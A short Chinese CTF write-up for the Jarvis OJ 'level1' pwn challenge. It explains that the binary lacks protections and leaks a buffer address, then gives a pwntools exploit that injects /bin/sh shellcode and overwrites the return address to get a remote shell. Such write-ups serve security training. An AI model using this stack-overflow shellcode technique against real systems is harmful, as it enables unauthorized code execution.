level1 wp

作者: zs0zrc | 来源:发表于2018-01-11 11:15 被阅读20次

拿到题检查下防护机制

发现基本什么防护机制都没打开 ,并且有可执行的段,说明我们可以自己插入shellcode执行

程序打印出了buf的地址,所以我们可以直接在buf区插入一段shellcode来执行shell


#!\usr\bin\env python

from pwn import *

debug = False

local = False

if debug:

context.log_level = 'debug'

else:

context.log_level = 'info'

if local:

p = process('./level1.80eacdcd51aca92af7749d96efad7fb5')

else:

p = remote('pwn2.jarvisoj.com',9877)

p.recvuntil("What's this:")

addr = int(p.recv(10),16)

shellcode = asm(shellcraft.sh())

offset = 0x88

payload= shellcode+(offset-len(shellcode))*'a'+'bbbb'+p32(addr)

p.sendline(payload)

p.interactive()

相关文章

网友评论

      本文标题:level1 wp

      本文链接:https://www.haomeiwen.com/subject/rxhznxtx.html